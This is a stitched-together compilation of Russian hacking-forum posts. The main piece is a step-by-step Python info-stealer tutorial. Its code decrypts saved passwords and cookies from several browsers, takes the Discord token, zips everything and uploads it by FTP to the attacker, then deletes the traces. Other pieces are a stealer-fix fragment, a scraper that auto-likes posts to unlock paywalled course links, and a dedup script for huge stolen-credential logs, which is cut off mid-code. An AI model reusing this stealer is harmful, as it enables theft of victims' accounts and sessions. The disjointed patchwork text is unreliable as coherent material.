reciever = 'receiver@gmail.com'
пароль = «ваш пароль»
Готово!
P.S Это фикс какого-то не рабочего стиллера.
Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите
Всем привет! Я еще новичок, питон начал изучать месяц назад+-, прошёл не так
много(сейчас сижу на базовом курсе). Когда начинал было огромное желание
продолжать дальше, но сейчас с каждым днём на меня налетает лень. Чтобы лучше
освоить информацию я начал всё конспектировать в тетрадь, всё перечитываю да
бы вспомнить и потренироваться. Последний раз я занимался 3-4 дня назад и хочу
вернуть так, как было раньше(2-3 часа каждый день, лени не было, было дикое
желание освоить) Можете мне, как новичку дать совет: "Как не забросить начатое
дело?".
Не знаю, что делать совсем. Сильно хочется обучиться, но лень всему мешает.
Буду рад вас послушать, заранее спасибо
Привет всем!Как погодка?)
Сегодня я бы хотел показать ,как можно написать самый простой stealer на
Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как?)
Для начала нам нужен FTP сервер.
Итак ,для начала нам нужно импортировать модули:
Python:Copy to clipboard
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Тут все просто ,модуль os для работы с директориями и удалением "следов".
Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями ,
zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки
архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему.
Python:Copy to clipboard
user_name = os.getlogin()
Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и расшифровывать БД ,а также искать куки
Python:Copy to clipboard
def Chrome():
text = 'Passwords Google_Chrome:' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()
def Chrome_cockie():
textc = 'Cookies Chrome:' + '\n'
textc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()
def Opera():
texto = 'Passwords Opera:' + '\n'
texto += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()
def chromium():
textch = 'Chromium Passwords:' + '\n'
textch += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textch += url + ' | ' + login + ' | ' + password + '\n'
return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()
def Yandex():
texty = 'YANDEX Cookies:' + '\n'
texty += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()
def Firefox():
textf = ''
textf += 'Firefox Cookies:' + '\n'
textf += 'URL | COOKIE | COOKIE NAME' + '\n'
for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
for name in dirs:
conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
cursor = conn.cursor()
cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
data = cursor.fetchall()
for i in range(len(data)):
url, cookie, name = data[i]
textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'
break
return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()
def chromiumc():
textchc = ''
textchc += 'Chromium Cookies:' + '\n'
textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()
def Opera_c():
textoc = '\n' + 'Cookies Opera:' + '\n'
textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()
def discord_token():
if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
token = ''
conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
cursor = conn.cursor()
for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
token = row[1].decode("utf-16")
conn.close()
if token != '':
return token
else:
return 'Discord exists, but not logged in'
else:
return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()
Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого
,только пути разные. А это самые популярные браузеры ,которыми пользуются
юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК
жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все
текстовики в архив и отправим их к себе на сервер!
Python:Copy to clipboard
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Все,все текстовики с паролями сохранены в одном архиве! Который находится на
диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим
именем)
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен:
хост,логин и пароль
Python:Copy to clipboard
localfile = r"D:\LOG.zip"
ftp_host = 'host'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:
ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
fp.close()
ftp.close()
except:
print("Error! File not download")
try:
os.remove("D:\LOG.zip")
except:
print('File not removed!')
Практикуясь на python, решил написать парсер для sharewood.biz. За акк спасибо
Newbie.
Первым делом идём смотрим, какой и куда запрос предаётся при авторизации.
Кстати пользователь с таким логином и паролем действительно существует,
случайно это обнаружил (Интересно почему?).
С логином и паролем понятно, что ещё за токен? Этот токен генерируется каждый
раз, то есть каждый раз он новый. Смотрим исходный код страницы и видим:
Более менее понятно, начинаем кодить.
Импортируем нужные библиотеки: requests для авторизации, и BeautifulSoup для
парсинга:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
Открываем сессию, запоминаем её в переменную s, задаём headers, переходим по ссылке для авторизации:
Python:Copy to clipboard
def auth():
with requests.Session() as s:
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
url = 'https://sharewood.biz/login/login'
r = s.get(url, headers=headers)
Создаём объект класса BeautifulSoup, и парсим токен:
Python:Copy to clipboard
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
Создаём словарь login_data с нужными значениями:
Python:Copy to clipboard
login_data = {
'login': 'login',
'password': 'password',
'remember': '1',
'_xfRedirect': 'https://sharewood.biz/',
'_xfToken': token
}
Используя метод post передаём наш словарь, авторизуемся, и возвращаем ссесию:
Python:Copy to clipboard
r = s.post(url, data=login_data, headers=headers)
return s
Авторизовались. Теперь можно парсить данные с радостью подумал я, не меня ждал сюрприз.
Что же делать? Неужели придётся использовать selenium, подумал я. Но решил посмотреть, что происходит когда я нажимаю на лайк.
Интересно, значит идёт post запрос. Возможно удастся что-то сделать.
Попробуем перейти по этой ссылке:
Такс. Кнопка, ну ладно попробую передать post запрос, может прокатит. (На то
"больше не нравится" не обращайте внимание, принцип такой же).
Что там у нас передаётся в запросе:
Знакомый нам токен, его мы уже умеем парсить, закодированная ссылка, уже начал искать как в pythone кодируются urlы. Но потом в исходном коде нашёл следущее:
То что нам нужно. Кстати нам нужно найти ссылку, на которую отправляется этот
самый запрос: https://sharewood.biz/posts/43467/like
Эту самую, но в исходном коде не нашёл, но нашёл вот что:
Цифра есть, а ссылку можем сами сформировать. Начинаем:
Передаём в функцию сессию, и url на материал, впоследствии эти urlы брались из
списка.
Парсим токен, url для запроса, и url на который отправлять запрос, записываем
всё в словарь.
Python:Copy to clipboard
def get_course(session, url):
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
print(token)
r_url = soup.find('meta', {'property':'og:url'}).get('content')[21:]
print(r_url)
post = soup.find('article', class_='message message--post js-post js-inlineModContainer').get('data-content')[5:]
print(post)
data = {
'xfRequestUri': r_url,
'_xfWithData': '1',
'_xfToken': token,
'_xfResponseType': 'json'
}
Делаем post запрос и переходим к нашему материалу, который требуется спарсить, ищем этот элемент:
Python:Copy to clipboard
p_url = 'https://sharewood.biz/posts/' + str(post) + '/like'
r = session.post(p_url, data=data, headers=headers)
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
mat = soup.find('div', class_='bbCodeBlock bbCodeBlock--hide clike').find('div', class_='bbCodeBlock-content').text
print(mat)
Результат работы, для наглядности печатаю токен, url для post запроса, и цифру, которая требуется для создания urlа, на который этот запрос отправляется:
Но при тестировнии возникает проблема:
Неужто не везде работает? Но перейдя на форум и попытавшись поставить лайк вижу:
Ясно. Оказывается у них ограничение: 15 лайков в сутки. Печально.
Способ полностью рабочий, я проверил это запустив парсер с ссылкой на материал который я не лайкал, лайк был поставлен.
Если бы не ограничение, можно было спарсить все ссылки в разделе, а потом прогнать через цикл. Но увы...
Если есть сайты, с которых вы хотите что-то спарсить, обращайтесь, если смогу
P.S За код не ругайте, это черновой вариант, до чистого не пришлось дойти...
Код целиком:
Python:Copy to clipboard
from bs4 import BeautifulSoup
import requests
def auth():
with requests.Session() as s:
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
url = 'https://sharewood.biz/login/login'
r = s.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
login_data = {
'login': 'login',
'password': 'password',
'remember': '1',
'_xfRedirect': 'https://sharewood.biz/',
'_xfToken': token
}
r = s.post(url, data=login_data, headers=headers)
return s
def get_course(session, url):
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
print(token)
r_url = soup.find('meta', {'property':'og:url'}).get('content')[21:]
print(r_url)
post = soup.find('article', class_='message message--post js-post js-inlineModContainer').get('data-content')[5:]
print(post)
data = {
'xfRequestUri': r_url,
'_xfWithData': '1',
'_xfToken': token,
'_xfResponseType': 'json'
}
p_url = 'https://sharewood.biz/posts/' + str(post) + '/like'
r = session.post(p_url, data=data, headers=headers)
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
mat = soup.find('div', class_='bbCodeBlock bbCodeBlock--hide clike')#.find('div', class_='bbCodeBlock-content').text
print(mat)
def main():
url = 'https://sharewood.biz/threads/swiftbook-Платные-видеокурсы-на-русском-языке-по-swift-5-2019.49758/'
s = auth()
get_course(s, url)
if __name__ == '__main__':
main()
Написал: rand
Эксклюзивно для: XSS.is
Отдельная благодарность в помощи и тестировании:
antikrya, _lain,
Bertor, Eject, Zeta
Всем привет, не так давно у меня появилась идея (после того как я прочитал
этот тред https://xss.is/threads/122300/) реализовать на питоне скрипт
который делает быструю сортировку и очистку дублей строк в огромном текстовом
файле без колоссального потребления ресурсов ОЗУ в операционной системе.
Минимальные системные требования: Python 3.12, 4 ядра CPU, 4 гигабайта ОЗУ,
200% свободного места на накопителе от размера импортируемого файла+10%. (При
работе этого алгоритма приходится расплачиваться свободной памятью и ресурсом
накопителя).
Скрины отработки 100-гигового ULP:
Скрипт работает на встроенных библиотеках питона, кроме одной библиотеки используемой для разметки выдачи цвета лога (в общем все подробно объяснил в комментариях к коду, может быть потом исправлю тут на полноценную статью, если настроение будет):
Bash:Copy to clipboard
pip install colorlog==6.8.2
main.py
Python:Copy to clipboard
import os
import tempfile
import heapq
import time
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorlog import ColoredFormatter # Для цветного логирования
# Настраиваем цветное логирование
formatter = ColoredFormatter(
"%(log_color)s%(asctime)s - %(levelname)s - %(message)s", # Формат вывода логов
datefmt=None, # Формат даты, по умолчанию
reset=True, # Сброс цветов после каждой строки
log_colors={ # Задаем цвета для различных уровней логов
'DEBUG': 'cyan',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
)
# Настройка обработчика логов с UTF-8
handler = logging.StreamHandler() # Логи выводятся в консоль
handler.setFormatter(formatter) # Применяем цветной формат
logger = logging.getLogger() # Получаем объект логгера
logger.addHandler(handler) # Добавляем к нему наш обработчик
logger.setLevel(logging.INFO) # Устанавливаем уровень логирования INFO (можно изменять на DEBUG для более детальных логов)
# Создаем путь к папке TEMP для временных файлов
temp_dir = os.path.join(os.getcwd(), 'TEMP') # Директория для хранения временных файлов
if not os.path.exists(temp_dir): # Если папки нет, создаем её в корне скрипта
os.makedirs(temp_dir)
# Функция для обработки чанков: удаление дублей и сортировка
def process_chunk(chunk, temp_dir):
try:
logger.info(f"Начало обработки чанка размером {len(chunk)} строк") # Логируем количество строк в чанке
unique_items = set(chunk) # Превращаем список в множество для удаления дублей
logger.info(f"Удалено {len(chunk) - len(unique_items)} дублей в чанке") # Логируем, сколько дублей удалено
sorted_chunk = sorted(unique_items) # Сортируем уникальные строки
# Создаем временный файл, который не будет удален автоматически (delete=False)
with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', errors='ignore', dir=temp_dir) as temp_file:
temp_file.write('\n'.join(sorted_chunk) + '\n') # Записываем отсортированный чанк во временный файл
logger.info(f"Чанк записан во временный файл {temp_file.name}") # Логируем путь к временному файлу
return temp_file.name # Возвращаем имя временного файла
except Exception as e:
logger.error(f"Ошибка при обработке чанка: {e}") # Логируем ошибку, если что-то пошло не так
return None # Возвращаем None, если произошла ошибка
# Функция для пакетного слияния временных файлов в один общий файл
def merge_files(temp_files, output_file):
try:
logger.info(f"Окончательное слияние {len(temp_files)} временных файлов") # Логируем количество файлов для слияния
unique_count = 0 # Счетчик уникальных строк
duplicate_count = 0 # Счетчик дублей
# Открываем выходной файл для записи
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
# Открываем все временные файлы и создаем итераторы
file_iters = [open(f, 'r', encoding='utf-8', errors='replace') for f in temp_files]
merged_iter = heapq.merge(*file_iters) # Сливаем отсортированные временные файлы в один поток
prev_line = None # Переменная для отслеживания предыдущей строки
# Проходим по слитым строкам
for line in merged_iter:
if line != prev_line: # Если строка не совпадает с предыдущей (уникальная)
outfile.write(line) # Записываем строку в выходной файл
prev_line = line # Обновляем предыдущую строку
unique_count += 1 # Увеличиваем счетчик уникальных строк
else:
duplicate_count += 1 # Если строка дублируется, увеличиваем счетчик дублей
# Закрываем временные файлы
for f in file_iters:
f.close()
logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}") # Логируем результаты
return unique_count, duplicate_count # Возвращаем количество уникальных строк и дублей
except Exception as e:
logger.error(f"Ошибка при слиянии файлов: {e}") # Логируем ошибку, если слияние не удалось
return 0, 0 # Возвращаем нули в случае ошибки
# Функция для пакетного слияния временных файлов
def batch_merge(temp_files, batch_size, temp_dir):
try:
logger.info(f"Начало пакетного слияния с размером пакета {batch_size}") # Логируем начало пакетного слияния
merged_files = [] # Список для хранения результатов пакетного слияния
total_unique_count = 0 # Общий счетчик уникальных строк
total_duplicate_count = 0 # Общий счетчик дублей
# Обрабатываем файлы по частям (батчами)
for i in range(0, len(temp_files), batch_size):
batch = temp_files[i:i + batch_size] # Берем очередной пакет файлов
logger.info(f"Слияние пакета с файлов {i+1} по {min(i + batch_size, len(temp_files))}") # Логируем диапазон файлов
# Создаем временный файл для результата слияния пакета
with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', dir=temp_dir) as temp_merged_file:
unique_count, duplicate_count = merge_files(batch, temp_merged_file.name) # Сливаем пакет файлов
merged_files.append(temp_merged_file.name) # Добавляем результат слияния в список
total_unique_count += unique_count # Обновляем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем общий счетчик дублей
# Удаляем временные файлы после слияния
logger.info(f"Удаление временных файлов пакета с {i+1} по {min(i + batch_size, len(temp_files))}")
for temp_file in batch:
if os.path.exists(temp_file):
os.remove(temp_file) # Удаляем временный файл
return merged_files, total_unique_count, total_duplicate_count # Возвращаем список объединенных файлов и итоговые счетчики
except Exception as e:
logger.error(f"Ошибка при пакетном слиянии: {e}") # Логируем ошибку при пакетном слиянии
return temp_files, 0, 0 # Возвращаем исходные файлы и нули в случае ошибки
# Основная функция сортировки и удаления дубликатов с параллельной обработкой чанков
def sort_and_uniq_streaming(input_file, output_file, chunk_size=2000000, batch_size=10):
temp_files = [] # Список для хранения временных файлов
chunk = [] # Текущий чанк строк
original_count = 0 # Счетчик всех строк в исходном файле
logger.info(f"Чтение файла {input_file}...") # Логируем начало чтения файла
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile: # Открываем файл для чтения
with ThreadPoolExecutor() as executor: # Создаем пул потоков для параллельной обработки
futures = [] # Список задач для параллельной обработки
for line in infile:
chunk.append(line.strip()) # Добавляем строку в чанк
original_count += 1 # Увеличиваем счетчик строк
if len(chunk) >= chunk_size: # Если размер чанка достиг предела
futures.append(executor.submit(process_chunk, chunk, temp_dir)) # Запускаем обработку чанка в отдельном потоке
chunk = [] # Очищаем чанк для следующего набора строк
if chunk: # Если остались необработанные строки после завершения чтения файла
futures.append(executor.submit(process_chunk, chunk, temp_dir)) # Обрабатываем последний чанк
for future in as_completed(futures): # Ждем завершения всех задач
temp_file = future.result() # Получаем результат обработки (имя временного файла)
if temp_file:
temp_files.append(temp_file) # Добавляем временный файл в список
logger.info(f"Все чанки обработаны. Начинается пакетное слияние временных файлов...") # Логируем завершение обработки всех чанков
total_unique_count = 0 # Общий счетчик уникальных строк
total_duplicate_count = 0 # Общий счетчик дублей
# Пока временных файлов больше, чем размер батча, продолжаем пакетное слияние
while len(temp_files) > batch_size:
temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir) # Выполняем пакетное слияние
total_unique_count += unique_count # Увеличиваем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Увеличиваем общий счетчик дублей
# Если остался больше одного временного файла, выполняем финальное слияние
if len(temp_files) > 1:
logger.info("Завершающий этап слияния крупных оставшихся файлов") # Логируем финальный этап
unique_count, duplicate_count = merge_files(temp_files, output_file) # Финальное слияние временных файлов
total_unique_count += unique_count # Добавляем количество уникальных строк
total_duplicate_count += duplicate_count # Добавляем количество дублей
else:
# Если остался только один временный файл, переименовываем его в выходной файл
os.rename(temp_files[0], output_file) # Переименование файла
# Удаляем все оставшиеся временные файлы
for temp_file in temp_files:
if os.path.exists(temp_file): # Проверяем существование файла перед удалением
os.remove(temp_file) # Удаляем временный файл
logger.info("Все временные файлы удалены") # Логируем успешное удаление всех временных файлов
unique_count = original_count - total_duplicate_count # Рассчитываем количество уникальных строк
logger.info(f"Итоговые результаты: Уникальных строк: {unique_count}, Дублей удалено: {total_duplicate_count}") # Выводим результаты
return original_count # Возвращаем общее количество строк в исходном файле
except Exception as e:
logger.error(f"Ошибка при обработке файла: {e}") # Логируем ошибку при обработке файла
return 0 # Возвращаем 0 в случае ошибки
# Точка входа
if __name__ == '__main__':
tic = time.perf_counter() # Замеряем время начала выполнения программы
input_file = "large_random_emails.txt" # Исходный файл с данными
output_file = "output-sorted-unique.txt" # Выходной файл для сохранения результатов
original_count = sort_and_uniq_streaming(input_file, output_file) # Запускаем процесс сортировки и удаления дублей
tac = time.perf_counter() # Замеряем время завершения выполнения программы
logging.info(f"Всего обработано строк: {original_count}") # Логируем общее количество обработанных строк
logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.4f} секунд") # Логируем время выполнения программы
Мультипроцессорно-многопоточная версия, работает быстрее, но и к ресурсам
требовательна по процу и памяти раз в 5-10 (пример отработки ".txt файл 100
миллионов строк, размером в 2GB (Ryzen 5600 4700mhz, 32GB DDR4 3600MHZ):
Скриншот отработки 300 гигового сгенерированного лога без дублей на 4.5
миллиарда строк, чем больше уникальных строк, тем ниже скорость обработки (AMD
Ryzen 7 3700x, 64GB ОЗУ, 1TB NVME в Raid 1 из двух накопителей по 1TB, Linux
Ubuntu 22.04):
main-multi.py:
Python:Copy to clipboard
# Импорт необходимых библиотек
import os # Для работы с операционной системой и файловой системой
import heapq # Для эффективного слияния отсортированных последовательностей
import time # Для измерения времени выполнения скрипта
import logging # Для ведения логов
import shutil # Для удаления файлов и директории TEMP
import uuid # Для генерации уникальных идентификаторов
from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor, as_completed # Для параллельного выполнения задач
from colorlog import ColoredFormatter # Для создания цветных логов
# Настройка цветного логирования
formatter = ColoredFormatter(
"%(log_color)s%(asctime)s - %(levelname)s - %(message)s",
datefmt=None,
reset=True,
log_colors={
'DEBUG': 'cyan',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
)
# Создание и настройка обработчика логов
handler = logging.StreamHandler() # Создаем обработчик для вывода логов в консоль
handler.setFormatter(formatter) # Устанавливаем форматтер для обработчика
logger = logging.getLogger() # Получаем объект логгера
logger.addHandler(handler) # Добавляем обработчик к логгеру
logger.setLevel(logging.INFO) # Устанавливаем уровень логирования
# Создание временной директории
temp_dir = os.path.join(os.getcwd(), 'TEMP') # Путь к временной директории в текущей рабочей директории
if not os.path.exists(temp_dir): # Если директория не существует
os.makedirs(temp_dir) # Создаем её
def create_temp_merged_file(temp_dir):
"""
Создает временный файл для слияния данных.
:param temp_dir: Путь к временной директории
"""
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4().hex}.tmp") # Генерируем уникальное имя файла
temp_merged_file = open(unique_filename, 'w', encoding='utf-8') # Открываем файл для записи
return temp_merged_file, unique_filename # Возвращаем объект файла и его имя
def heavy_computation(n):
"""
Выполняет тяжелое вычисление (для симуляции нагрузки, процентов на 5 по моим замерам увеличивает скорость обработки лога).
:param n: Число для вычислений
:return: Результат вычисления
"""
logger.debug(f"Запуск тяжелого вычисления с параметром: {n}")
result = 0
for i in range(n):
result += i * i # Выполняем сложение квадратов чисел
logger.debug(f"Результат тяжелого вычисления: {result}")
return result
def process_chunk_and_write_multiprocess(chunk, temp_dir):
"""
Обрабатывает чанк данных и записывает результат во временный файл.
:param chunk: Список строк для обработки
:param temp_dir: Путь к временной директории
:return: Имя созданного временного файла или None в случае ошибки
"""
try:
logger.info(f"Начало обработки чанка размером {len(chunk)} строк (процесс)")
heavy_computation(10000000) # Симуляция тяжелых вычислений
unique_items = set(chunk) # Убираем дубликаты на уровне чанка
sorted_chunk = sorted(unique_items) # Сортируем уникальные элементы
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4()}.tmp") # Генерируем уникальное имя файла
with open(unique_filename, 'w', encoding='utf-8') as temp_file:
temp_file.write("\n".join(sorted_chunk) + "\n") # Сохраняем только уникальные строки
return unique_filename
except Exception as e:
logger.error(f"Ошибка при обработке чанка: {e}")
return None
def merge_files_parallel(temp_files, output_file, num_threads=24):
"""
Выполняет параллельное слияние временных файлов.
:param temp_files: Список временных файлов для слияния
:param output_file: Имя выходного файла
:param num_threads: Количество потоков для использования
:return: (количество уникальных строк, количество дубликатов, имя выходного файла)
"""
try:
logger.info(f"Параллельное слияние {len(temp_files)} временных файлов с использованием {num_threads} потоков")
unique_count = 0
duplicate_count = 0
file_iters = []
try:
for temp_file in temp_files:
file_iters.append(open(temp_file, 'r', encoding='utf-8', errors='replace')) # Открываем все временные файлы
merged_iter = heapq.merge(*[iter(f) for f in file_iters]) # Создаем итератор для слияния
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
prev_line = None
